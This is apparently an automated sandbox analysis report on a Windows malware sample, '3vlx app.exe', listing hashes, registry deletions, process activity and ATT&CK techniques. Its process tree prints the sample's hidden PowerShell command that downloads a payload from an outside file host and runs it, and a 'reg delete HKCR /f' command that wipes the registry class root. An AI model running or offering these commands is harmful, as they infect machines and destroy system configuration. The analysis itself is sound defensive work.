Analysis
- user interaction
yes - max time kernel
55s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
26/10/2026, 16:20
Static task
static1
Behavioral task
behavioral1
Sample
3vlx app.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
3vlx app.exe
Resource
win11ltsc2024-20260911-en
General
- Target 3vlx app.exe
- Size 37KB
- Sample261026-ttkd5sty6m
- SHA256 a999caa26a6fc0e5dbc88695b77159cff59292574208049c4eb4db30c94ad88e
- MD5 6ff143889c9629e3ae377a9ae7b871b6
- SHA1 c87a63386326fe60b61eeb9de9eac324e40c2f19
- SHA512 f3ae18434506321b20c20010f7ab31d9367c4012b7937bc41bd3f2737671abe61267533e7363c077a2385c582a491cf7df136e0a13016cf6e7538b4b89bf6e91
- SSDEEP 768:vFNSE8d4ZqjDBkGGCV3K+W6uN7yHWZ6n9Y9sbGpT4hTb:vFN18d4ZqjDBk2a+I7yHyO69sbGpT4hX
- TLSH T19203C88DEB9E8433C38EABFD49A252128A31E1675513E78E15CC95F61AD33820E5C387
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 4056 powershell.exe 12 4056 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4056 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation 3vlx app.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 34 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4996 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0002099A-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000C03C2-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Interface\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020819-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0246-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.SheetBinaryMacroEnabled.12\shell\Printto\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3A49F783-1C7D-4D35-8F63-5C1C206B9B6E}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F031-0000-0000-C000-000000000046}\InprocHandler32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0206-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0158-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0203-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0193-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F8-5A91-11CF-8700-00AA0060263B} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C100BEED-D33A-4a4b-BF23-BBEF4663D017}\InProcServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0002E16B-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3050F5A5-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0034-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Macrosheet\shell\Print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.TemplateMacroEnabled\shell\OpenAsReadOnly\ddeexec reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\ActivatableClassId\App.AppXy52sa92aebbtb2p46yeqbbcd7tx3dx6w.mca\CustomPropert reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E4466E0F-C942-4C9C-98EF-B31A17AEAF1E}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.xlsx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D66DC78C-4F61-447F-942B-3FB6980118CF}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.CSV\shell\Print\ddeexec reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000244C8-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D91B8947-F8CA-4508-A58A-2D8A49BF6111}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\MSPaint.exe reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0067-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0124-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0172-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0220-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.docx\OpenWithList reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.fky reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vstx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AdobeAcrobat.OpenDocuments.3 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020821-0000-0000-C000-000000000046}\Implemented Categories reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0023-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.AssignedAccessLockApp_1000.19041.1023.0_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXkv6gpr5wnhe0ccmv reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{033D10C1-80FA-40E2-B578-A800DF9A9316}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{126D7983-FAA4-49EF-A081-BD4B22453A1E} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0273-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0221-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0342-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2DA16203-3F58-404F-839D-E4CDE7DD0DED}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C6DBD569-032A-5FE3-B2BF-96CFDB985FDB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\7-Zip.bz2\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000209FE-0000-0000-C000-000000000046}\LocalServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0235-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0187-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0234-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EC04D82C-AA59-4ba4-96B1-27BE3FF05E00}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F827EC16-664E-4B05-878C-02D242229094} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000208E9-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.asc\PersistentHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\AppXws790r9w5rbb9w3p8p4qb2n97s5h6pc3\Shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{978C9E23-D4B0-11CE-BF2D-00AA003F40D0}\Version reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0064-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0036-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5040806F8AF9AAC49928419ED5A1D3CA\SourceList reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00024708-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{497142A4-16FD-42C6-BC58-15D89345FC21}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0102-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0253-ABCDEFFEDCBC}\InprocServer32 reg.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4056 powershell.exe 4056 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2904 3vlx app.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2904 3vlx app.exe Token: SeDebugPrivilege 2904 3vlx app.exe Token: SeDebugPrivilege 4056 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2904 wrote to memory of 4056 2904 3vlx app.exe 92 PID 2904 wrote to memory of 4996 2904 3vlx app.exe 96 PID 4996 wrote to memory of 4720 4996 cmd.exe 98 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"1⤵
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4056
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:4720
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4c4 0x4701⤵PID:3284
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xrdw4rlp.ucg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH